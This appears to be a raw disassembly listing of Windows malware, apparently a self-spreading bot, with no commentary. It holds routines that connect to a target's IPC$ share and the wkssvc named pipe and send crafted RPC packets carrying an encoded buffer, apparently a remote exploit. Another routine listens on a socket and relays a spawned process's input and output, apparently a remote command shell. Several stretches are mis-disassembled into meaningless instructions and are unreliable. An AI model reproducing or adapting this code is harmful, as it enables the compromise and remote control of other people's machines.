		lea	eax, [ebp+var_CC]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_CC]
		push	eax
		push	[ebp+arg_8]
		call	esi ; dword_4F14E8
		push	ebx
		lea	eax, [ebp+var_44]
		push	32h
		push	eax
		push	[ebp+arg_8]
		call	ds:dword_45150C
		cmp	[ebp+var_44], bl
		jz	short loc_40EFF9
		or	esi, 0FFFFFFFFh
		jmp	short loc_40EFFC
; ---------------------------------------------------------------------------


loc_40EFF9:				; CODE XREF: sub_40EE3A+1B8j
		push	1
		pop	esi


loc_40EFFC:				; CODE XREF: sub_40EE3A+1BDj
		push	[ebp+arg_8]
		call	ds:dword_451588
		mov	eax, esi


loc_40F007:				; CODE XREF: sub_40EE3A+9Dj
					; sub_40EE3A+B6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EE3A	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		mov	edi, offset dword_448200
		mov	esi, 83h


loc_40F018:				; CODE XREF: seg000:0040F040j
		push	dword ptr [edi+4]
		lea	eax, [esp+14h]
		push	dword ptr [edi]
		push	esi
		push	dword ptr [esp+0B8h]
		push	eax
		call	sub_40EE3A
		add	esp, 14h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F089
		add	edi, 8
		cmp	edi, offset dword_448260
		jle	short loc_40F018
		push	1F4h
		call	ds:dword_4F12F4	; Sleep
		push	esi
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_417E0E
		add	esp, 0C0h
		cmp	al, 1
		jnz	short loc_40F089
		mov	eax, [esp+0B4h]
		push	1
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		lea	eax, dword_4439F8[eax]
		pop	eax
		jmp	short loc_40F08B
; ---------------------------------------------------------------------------


loc_40F089:				; CODE XREF: seg000:0040F035j
					; seg000:0040F06Cj
		xor	eax, eax


loc_40F08B:				; CODE XREF: seg000:0040F087j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40F08E	proc near		; CODE XREF: sub_40F19D+C9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_4], esi
		jbe	short loc_40F0BD
		mov	edx, [esp+4+arg_8]


loc_40F09B:				; CODE XREF: sub_40F08E+2Dj
		mov	eax, [esp+4+arg_0]
		mov	cl, [esi+eax]
		mov	al, cl
		and	cl, 0Fh
		shr	al, 4
		add	cl, 41h
		add	al, 41h
		mov	[edx], cl
		mov	[edx+1], al
		inc	esi
		inc	edx
		inc	edx
		cmp	esi, [esp+4+arg_4]
		jb	short loc_40F09B


loc_40F0BD:				; CODE XREF: sub_40F08E+7j
		pop	esi
		retn
sub_40F08E	endp

; ---------------------------------------------------------------------------


loc_40F0BF:				; CODE XREF: seg000:0040F18Cp
					; sub_40F19D+45Fp
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	byte ptr [ebp+30h], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40F0D3
		or	byte ptr [ebp+0Fh], 1
		jmp	short loc_40F0D7
; ---------------------------------------------------------------------------


loc_40F0D3:				; CODE XREF: seg000:0040F0CBj
		and	byte ptr [ebp+0Fh], 0FEh


loc_40F0D7:				; CODE XREF: seg000:0040F0D1j
		mov	ebx, [ebp+28h]
		mov	eax, [ebp+2Ch]
		lea	ecx, [ebx+18h]
		cmp	ecx, eax
		ja	short loc_40F0F8
		or	byte ptr [ebp+0Fh], 2
		and	byte ptr [ebp+33h], 0
		lea	eax, [ebx+18h]
		mov	[ebp+1Ch], ebx
		mov	[ebp+14h], ax
		jmp	short loc_40F10A
; ---------------------------------------------------------------------------


loc_40F0F8:				; CODE XREF: seg000:0040F0E2j
		mov	[ebp+14h], ax
		add	eax, 0FFFFFFE8h
		and	byte ptr [ebp+0Fh], 0FDh
		mov	[ebp+1Ch], eax
		mov	byte ptr [ebp+33h], 1


loc_40F10A:				; CODE XREF: seg000:0040F0F6j
		movzx	eax, word ptr [ebp+14h]
		push	eax
		mov	[ebp-4], eax
		call	sub_41AE40
		test	eax, eax
		pop	ecx
		mov	[ebp+28h], eax
		jnz	short loc_40F123


loc_40F11F:				; CODE XREF: seg000:0040F163j
		xor	al, al
		jmp	short loc_40F198
; ---------------------------------------------------------------------------


loc_40F123:				; CODE XREF: seg000:0040F11Dj
		push	6
		lea	esi, [ebp+0Ch]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+1Ch]
		mov	esi, [ebp+24h]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41E840
		add	esp, 0Ch
		lea	eax, [ebp-8]
		push	0
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+28h]
		push	dword ptr [ebp+8]
		call	near ptr 3D0000h
		jp	short near ptr loc_40F155+1 ; CODE XREF: seg000:loc_40F155j
		jnz	short near ptr loc_40F17F+2
		test	eax, eax
		jnz	short loc_40F165
		call	sub_41B8B0
		pop	ecx
		jmp	short loc_40F11F
; ---------------------------------------------------------------------------


loc_40F165:				; CODE XREF: seg000:0040F15Bj
		call	sub_41B8B0
		cmp	byte ptr [ebp+33h], 0
		pop	ecx
		jz	short loc_40F196
		push	0
		sub	ebx, edi
		push	dword ptr [ebp+2Ch]
		add	edi, esi
		lea	esi, [ebp+0Ch]
		push	ebx
		push	edi


loc_40F17F:				; CODE XREF: seg000:0040F157j
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp+8]
		rep movsd
		call	loc_40F0BF
		add	esp, 2Ch
		jmp	short loc_40F198
; ---------------------------------------------------------------------------


loc_40F196:				; CODE XREF: seg000:0040F16Fj
		mov	al, 1


loc_40F198:				; CODE XREF: seg000:0040F121j
					; seg000:0040F194j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F19D	proc near		; CODE XREF: seg000:0040F64Bp
					; seg000:0040F661p ...

var_729F8B40	= dword	ptr -729F8B40h
var_CC44	= byte ptr -0CC44h
var_8C44	= byte ptr -8C44h
var_70EC	= byte ptr -70ECh
var_50EC	= byte ptr -50ECh
var_30EC	= byte ptr -30ECh
var_10EC	= dword	ptr -10ECh
var_7F0		= byte ptr -7F0h
var_7EB		= byte ptr -7EBh
var_7AC		= byte ptr -7ACh
var_340		= byte ptr -340h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_6C		= byte ptr -6Ch
var_68		= byte ptr -68h
var_67		= byte ptr -67h
var_66		= byte ptr -66h
var_65		= byte ptr -65h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5E		= word ptr -5Eh
var_5C		= dword	ptr -5Ch
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= byte ptr -4Ah
var_48		= byte ptr -48h
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 0CC44h
		call	sub_41DEB0
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+arg_8]
		push	ebx
		push	eax
		call	sub_417569
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jz	short loc_40F1C8
		xor	eax, eax
		jmp	loc_40F62E
; ---------------------------------------------------------------------------


loc_40F1C8:				; CODE XREF: sub_40F19D+22j
		xor	edi, edi
		push	2B3h
		lea	eax, [ebp+var_340]
		push	edi
		push	eax
		call	sub_41D100
		push	0DACh
		lea	eax, [ebp+var_10EC]
		push	edi
		push	eax
		call	sub_41D100
		push	1B58h
		lea	eax, [ebp+var_8C44]
		push	edi
		push	eax
		call	sub_41D100
		push	0DABh
		lea	eax, [ebp+var_10EC]
		push	41h
		push	eax
		call	sub_41D100
		mov	esi, [ebp+arg_0]
		push	5
		shl	esi, 4
		push	offset aFb	; "fìÐ\a"
		mov	eax, ds:dword_448508[esi]
		mov	ecx, ds:dword_448504[esi]
		mov	[ebp+eax+var_10EC], ecx
		lea	eax, [ebp+var_7F0]
		push	eax
		call	sub_41E840
		push	3Fh
		lea	eax, [ebp+var_7EB]
		push	offset sub_4484BC
		push	eax
		call	sub_41E840
		add	esp, 48h
		lea	eax, [ebp+var_340]
		push	eax
		push	159h
		push	offset dword_448360
		call	sub_40F08E
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_41AC70
		push	eax
		lea	eax, [ebp+var_340]
		push	eax
		lea	eax, [ebp+var_7AC]
		push	eax
		call	sub_41E840
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_41AC70
		and	[ebp+eax+var_7AC], 0
		add	esp, 20h
		xor	ecx, ecx
		lea	eax, [ebp+var_8C44]


loc_40F2AA:				; CODE XREF: sub_40F19D+122j
		movzx	dx, byte ptr [ebp+ecx+var_10EC]
		mov	[eax], dx
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 0DACh
		jb	short loc_40F2AA
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aS_32	; "\\\\%s"
		lea	eax, [ebp+var_30EC]
		push	2000h
		push	eax
		call	sub_41D360
		lea	eax, [ebp+var_30EC]
		push	2000h
		push	eax
		lea	eax, [ebp+var_CC44]
		push	eax
		call	sub_41FEE0
		lea	eax, [ebp+arg_8]
		push	offset a__4	; "."
		push	eax
		call	sub_435D40
		add	esp, 24h
		test	eax, eax
		jz	short loc_40F355
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSIpc_0	; "\\\\%s\\ipc$"
		lea	eax, [ebp+var_50EC]
		push	2000h
		push	eax
		call	sub_41D360
		push	20h
		lea	eax, [ebp+var_8C]
		push	edi
		push	eax
		call	sub_41D100
		add	esp, 1Ch
		lea	eax, [ebp+var_50EC]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_8C]
		push	edi
		push	offset dword_4E2618
		push	offset dword_4E261C
		push	eax
		call	ds:dword_451598


loc_40F355:				; CODE XREF: sub_40F19D+169j
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc"
		lea	eax, [ebp+var_70EC]
		push	2000h
		push	eax
		call	sub_41D360
		add	esp, 10h
		lea	eax, [ebp+var_70EC]
		push	edi
		push	edi
		push	3
		push	edi
		push	3
		push	40000000h
		push	eax
		call	ds:dword_4F1380	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40F39A


loc_40F393:				; CODE XREF: sub_40F19D+2F3j
		xor	esi, esi
		jmp	loc_40F621
; ---------------------------------------------------------------------------


loc_40F39A:				; CODE XREF: sub_40F19D+1F4j
		push	48h
		lea	eax, [ebp+var_68]
		push	edi
		push	eax
		call	sub_41D100
		and	[ebp+var_67], 0
		push	10h
		pop	eax
		mov	[ebp+var_68], 5
		mov	[ebp+var_64], eax
		push	eax
		lea	eax, [ebp+var_48]
		push	offset dword_449668
		push	eax
		mov	[ebp+var_66], 0Bh
		mov	[ebp+var_65], 3
		mov	[ebp+var_60], 48h
		mov	[ebp+var_5E], di
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_58], 10B8h
		mov	[ebp+var_56], 10B8h
		mov	[ebp+var_54], edi
		mov	[ebp+var_50], ebx
		mov	[ebp+var_4C], di
		mov	[ebp+var_4A], 1
		mov	[ebp+var_38], ebx
		call	sub_41E840
		push	10h
		lea	eax, [ebp+var_34]
		push	offset dword_44967C
		push	eax
		mov	[ebp+var_24], 2
		call	sub_41E840
		add	esp, 24h
		lea	eax, [ebp+var_6C]
		push	edi
		push	eax
		lea	eax, [ebp+var_68]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	near ptr 3D0000h
		xor	eax, [ebp+var_729F8B40]
		test	[ebx+esi-17AF0001h], edi
		jge	short loc_40F43E
		add	[eax], eax
		pop	ecx
		lea	ebx, [eax+eax+12h]


loc_40F438:				; CODE XREF: sub_40F19D:loc_40F43Ej
		test	bl, 3
		jz	short loc_40F440
		inc	ebx


loc_40F43E:				; CODE XREF: sub_40F19D+292j
		jmp	short loc_40F438
; ---------------------------------------------------------------------------


loc_40F440:				; CODE XREF: sub_40F19D+29Ej
		cmp	ds:byte_44850C[esi], 0
		jz	short loc_40F44C
		add	ebx, 4


loc_40F44C:				; CODE XREF: sub_40F19D+2AAj
		lea	eax, [ebp+var_8C44]
		push	eax
		call	sub_4201B0
		pop	ecx
		lea	eax, [ebx+eax*2+0Eh]


loc_40F45D:				; CODE XREF: sub_40F19D+2C5j
		test	al, 3
		jz	short loc_40F464
		inc	eax
		jmp	short loc_40F45D
; ---------------------------------------------------------------------------


loc_40F464:				; CODE XREF: sub_40F19D+2C2j
		add	eax, 8
		cmp	ds:byte_44850C[esi], 0
		jz	short loc_40F475
		add	eax, 4
		jmp	short loc_40F477
; ---------------------------------------------------------------------------


loc_40F475:				; CODE XREF: sub_40F19D+2D1j
		inc	eax
		inc	eax


loc_40F477:				; CODE XREF: sub_40F19D+2D6j
		push	eax
		mov	[ebp+var_8], eax
		call	sub_41AE40
		mov	ebx, eax
		pop	ecx
		cmp	ebx, edi
		jnz	short loc_40F495
		push	[ebp+var_4]
		call	ds:dword_4F12FC	; CloseHandle
		jmp	loc_40F393
; ---------------------------------------------------------------------------


loc_40F495:				; CODE XREF: sub_40F19D+2E8j
		push	[ebp+var_8]
		push	edi
		push	ebx
		call	sub_41D100
		push	4
		push	offset dword_448350
		push	ebx
		call	sub_41E840
		lea	eax, [ebp+var_CC44]
		push	eax
		call	sub_4201B0
		inc	eax
		mov	[ebx+0Ch], eax
		mov	[ebx+8], edi
		mov	eax, [ebx+0Ch]
		mov	[ebx+4], eax
		lea	eax, [ebp+var_CC44]
		push	eax
		lea	eax, [ebx+10h]
		push	eax
		call	sub_41ED50
		lea	eax, [ebp+var_CC44]
		push	eax
		call	sub_4201B0
		lea	eax, [eax+eax+12h]
		add	esp, 28h
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_40F4F7


loc_40F4EF:				; CODE XREF: sub_40F19D+355j
		inc	eax
		test	al, 3
		jnz	short loc_40F4EF
		mov	[ebp+arg_0], eax


loc_40F4F7:				; CODE XREF: sub_40F19D+350j
		cmp	ds:byte_44850C[esi], 0
		jz	short loc_40F519
		push	4
		add	eax, ebx
		push	offset dword_448358
		push	eax
		call	sub_41E840
		add	esp, 0Ch
		add	[ebp+arg_0], 4
		mov	eax, [ebp+arg_0]


loc_40F519:				; CODE XREF: sub_40F19D+361j
		lea	edi, [eax+ebx]
		lea	eax, [ebp+var_8C44]
		push	eax
		call	sub_4201B0
		inc	eax
		add	[ebp+arg_0], 0Ch
		mov	[edi+8], eax
		and	dword ptr [edi+4], 0
		mov	eax, [edi+8]
		mov	[edi], eax
		lea	eax, [ebp+var_8C44]
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, ebx
		push	eax
		call	sub_41ED50
		lea	eax, [ebp+var_8C44]
		push	eax
		call	sub_4201B0
		mov	ecx, [ebp+arg_0]
		add	esp, 10h
		lea	eax, [ecx+eax*2+2]
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_40F570


loc_40F568:				; CODE XREF: sub_40F19D+3CEj
		inc	eax
		test	al, 3
		jnz	short loc_40F568
		mov	[ebp+arg_0], eax


loc_40F570:				; CODE XREF: sub_40F19D+3C9j
		xor	edi, edi
		push	8
		add	eax, ebx
		push	edi
		push	eax
		call	sub_41D100
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		add	eax, 8
		cmp	ds:byte_44850C[esi], 0
		jz	short loc_40F594
		mov	[eax+ebx], edi
		jmp	short loc_40F59A
; ---------------------------------------------------------------------------


loc_40F594:				; CODE XREF: sub_40F19D+3F0j
		mov	word ptr [eax+ebx], 1


loc_40F59A:				; CODE XREF: sub_40F19D+3F5j
		push	18h
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	cl, ds:byte_44850C[esi]
		and	[ebp+var_1F], 0
		and	[ebp+var_1E], 0
		push	1
		mov	[ebp+var_16], di
		pop	eax
		mov	[ebp+var_C], di
		push	eax
		push	10B8h
		push	[ebp+var_8]
		lea	esi, [ebp+var_20]
		neg	cl
		sbb	ecx, ecx
		push	ebx
		and	ecx, 2
		sub	esp, 18h
		add	ecx, 19h
		mov	[ebp+var_20], 5
		push	6
		mov	[ebp+var_A], cx
		pop	ecx
		mov	[ebp+var_1D], 3
		mov	edi, esp
		push	[ebp+var_4]
		mov	[ebp+var_1C], 10h
		mov	[ebp+var_14], eax
		rep movsd
		call	loc_40F0BF
		add	esp, 2Ch
		test	al, al
		jnz	short loc_40F60C
		xor	esi, esi
		jmp	short loc_40F60F
; ---------------------------------------------------------------------------


loc_40F60C:				; CODE XREF: sub_40F19D+469j
		push	1
		pop	esi


loc_40F60F:				; CODE XREF: sub_40F19D+46Dj
		push	[ebp+var_4]
		call	ds:dword_4F12FC	; CloseHandle
		push	ebx
		call	sub_41B8B0
		pop	ecx
		xor	edi, edi


loc_40F621:				; CODE XREF: sub_40F19D+1F8j
		push	edi
		push	edi
		push	[ebp+var_78]
		call	ds:dword_451558
		mov	eax, esi


loc_40F62E:				; CODE XREF: sub_40F19D+26j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F19D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [esp+0C8h]
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	1
		rep movsd
		call	sub_40F19D
		pop	ecx
		lea	esi, [esp+0C8h]
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	1
		rep movsd
		call	sub_40F19D
		add	esp, 0C0h
		push	1F4h
		call	ds:dword_4F12F4	; Sleep
		push	7C7h
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_417E0E
		add	esp, 0C0h
		cmp	al, 1
		jnz	short loc_40F6B7
		mov	eax, [esp+0B4h]
		push	1
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		lea	eax, dword_4439F8[eax]
		pop	eax
		jmp	short loc_40F6B9
; ---------------------------------------------------------------------------


loc_40F6B7:				; CODE XREF: seg000:0040F69Aj
		xor	eax, eax


loc_40F6B9:				; CODE XREF: seg000:0040F6B5j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [esp+0C8h]
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	0
		rep movsd
		call	sub_40F19D
		pop	ecx
		lea	esi, [esp+0C8h]
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	0
		rep movsd
		call	sub_40F19D
		add	esp, 0C0h
		push	1F4h
		call	ds:dword_4F12F4	; Sleep
		push	7C7h
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_417E0E
		add	esp, 0C0h
		cmp	al, 1
		jnz	short loc_40F740
		mov	eax, [esp+0B4h]
		push	1
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		lea	eax, dword_4439F8[eax]
		pop	eax
		jmp	short loc_40F742
; ---------------------------------------------------------------------------


loc_40F740:				; CODE XREF: seg000:0040F723j
		xor	eax, eax


loc_40F742:				; CODE XREF: seg000:0040F73Ej
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40F745	proc near		; DATA XREF: seg000:0040F92Eo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40F74E:				; CODE XREF: sub_40F745+25j
					; sub_40F745+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	ds:dword_4E2630
		call	ds:dword_45150C
		test	eax, eax
		jle	short loc_40F74E
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	ds:dword_4E262C
		call	near ptr 3D0000h
		scasd
		jmp	short loc_40F74E
sub_40F745	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40F788	proc near		; DATA XREF: seg000:0040F915o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40F791:				; CODE XREF: sub_40F788+2Fj
					; sub_40F788+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	ds:dword_4E2620
		call	ds:dword_4F1374	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40F791
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	ds:dword_4E2630
		call	ds:dword_451540
		jmp	short loc_40F791
sub_40F788	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-11Ch]
		rep movsd
		push	1
		xor	edi, edi
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp-38h]
		push	edi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	word ptr [ebp-38h], 2
		push	dword ptr [ebp-98h]
		call	ds:dword_4514F4
		push	6
		push	esi
		push	2
		mov	[ebp-36h], ax
		call	ds:dword_451570
		mov	[ebp+8], eax
		lea	eax, [ebp-38h]
		push	10h
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_451520
		push	5
		push	dword ptr [ebp+8]
		call	ds:dword_45151C
		mov	ebx, ds:dword_4F1394
		mov	esi, ds:dword_4F12FC


loc_40F853:				; CODE XREF: seg000:0040F99Ej
		push	edi
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_451584
		mov	ds:dword_4E2630, eax
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	offset dword_4E262C
		push	offset dword_4E2628
		mov	dword ptr [ebp-0Ch], 0Ch
		mov	dword ptr [ebp-4], 1
		mov	[ebp-8], edi
		call	ebx ; dword_4F1394
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	offset dword_4E2624
		push	offset dword_4E2620
		call	ebx ; dword_4F1394
		push	44h
		lea	eax, [ebp-7Ch]
		push	edi
		push	eax
		call	sub_41D100
		mov	eax, ds:dword_4E2628
		add	esp, 0Ch
		mov	[ebp-44h], eax
		mov	eax, ds:dword_4E2624
		mov	[ebp-40h], eax
		push	edi
		push	1
		lea	eax, [ebp-3Ch]
		push	2
		push	eax
		mov	dword ptr [ebp-7Ch], 44h
		mov	dword ptr [ebp-50h], 101h
		mov	[ebp-4Ch], di
		call	near ptr 3D0000h
		lock push eax
		push	ds:dword_4E2624
		call	near ptr 3D0000h
		cld
		push	eax
		call	near ptr 3D0000h
		mov	byte ptr [ebp-72AF27BBh], 45h
		test	[eax+57h], dl
		push	edi
		push	4000090h
		lea	eax, [ebp-0Ch]
		push	1
		push	eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_449690
		push	edi
		call	near ptr 3D0000h
		and	[ebp+5750E845h], cl
		push	edi
		push	offset sub_40F788
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		call	ds:dword_4F131C	; CreateThread
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	edi
		push	edi
		push	offset sub_40F745
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		call	ds:dword_4F131C	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp-10h], eax
		push	dword ptr [ebp-28h]
		call	near ptr 3D0000h
		inc	eax
		push	edi
		push	dword ptr [ebp-10h]
		call	near ptr 3D0000h ; CODE	XREF: seg000:0040F961j
		jnz	short loc_40F9AE
		push	dword ptr [ebp-14h]
		call	near ptr 3D0000h
		jl	short near ptr loc_40F95F+1 ; CODE XREF: seg000:loc_40F95Fj
		jnz	short near ptr loc_40F950+3
		call	esi ; dword_4F12FC
		push	dword ptr [ebp-14h]
		call	esi ; dword_4F12FC
		push	edi
		push	dword ptr [ebp-28h]
		call	near ptr 3D0000h
		dec	ecx
		push	ds:dword_4E2628
		call	esi ; dword_4F12FC
		push	ds:dword_4E262C
		call	esi ; dword_4F12FC
		push	ds:dword_4E2620
		call	esi ; dword_4F12FC
		push	ds:dword_4E2624
		call	esi ; dword_4F12FC
		push	dword ptr [ebp-24h]
		call	esi ; dword_4F12FC
		push	dword ptr [ebp-28h]
		call	esi ; dword_4F12FC
		jmp	loc_40F853
; ---------------------------------------------------------------------------
byte_40F9A3	db 0E9h			; DATA XREF: seg002:0043C00Co
		align 8
		dd 0FFFE68h
		db 0, 68h
; ---------------------------------------------------------------------------


loc_40F9AE:				; CODE XREF: seg000:0040F955j
		add	[eax+eax], al
		add	al, ch
		xchg	al, [bx+si]
		add	[ecx-5Dh], bl
		cmp	[esi], ah
		dec	esi
		add	[ecx-3Dh], bl


loc_40F9BF:				; DATA XREF: seg000:00409A5Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-0B4h]
		call	ds:dword_4514F4
		push	ebx
		push	esi
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], ebx
		call	ds:dword_451570
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40FA81
		call	ds:dword_451488
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_449698
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp-2Ch], ebx
		jnz	short loc_40FA61
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0C0h]
		call	sub_40145D
		add	esp, 14h


loc_40FA61:				; CODE XREF: seg000:0040FA3Fj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-0BCh]
		call	sub_40905B
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		inc	ebx


loc_40FA81:				; CODE XREF: seg000:0040FA1Fj
		mov	eax, [ebp-0BCh]
		push	10h
		imul	eax, 234h
		mov	ds:dword_4523C4[eax], edi
		lea	eax, [ebp-14h]
		push	eax
		push	edi
		call	ds:dword_451520
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40FBA9
		call	ds:dword_451488
		cmp	eax, 2740h
		jz	short near ptr loc_40FB15+1
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_4496EC
		push	eax
		call	sub_41D260
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp-2Ch], esi
		jnz	short loc_40FAF6
		push	esi
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0C0h]
		call	sub_40145D
		add	esp, 14h


loc_40FAF6:				; CODE XREF: seg000:0040FAD4j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-0BCh]
		call	sub_40905B
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h


loc_40FB15:				; CODE XREF: seg000:0040FAB8j
		sub	[eax-2], ebp
		inc	dword ptr [eax]
		add	[ebx-18h], dl
		std
		test	[eax], al
		add	[ecx-5Dh], bl
		cmp	[esi], ah
		dec	esi
		add	[ecx+66h], bl
		mov	[ebp-12h], eax
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_451520
		cmp	eax, esi
		jnz	short loc_40FBA9
		call	ds:dword_451488
		mov	esi, eax
		lea	eax, [ebp-2C0h]
		push	esi
		push	offset unk_449740
		push	eax
		call	sub_41D260
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp-2Ch], edi
		jnz	short loc_40FB89
		cmp	esi, 2740h
		jz	short loc_40FB89
		push	edi
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0C0h]
		call	sub_40145D
		add	esp, 14h


loc_40FB89:				; CODE XREF: seg000:0040FB5Fj
					; seg000:0040FB67j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-0BCh]
		call	sub_40905B
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 3D0000h
		cdq


loc_40FBA9:				; CODE XREF: seg000:0040FAA7j
					; seg000:0040FB3Bj
		push	5
		push	edi
		call	ds:dword_45151C
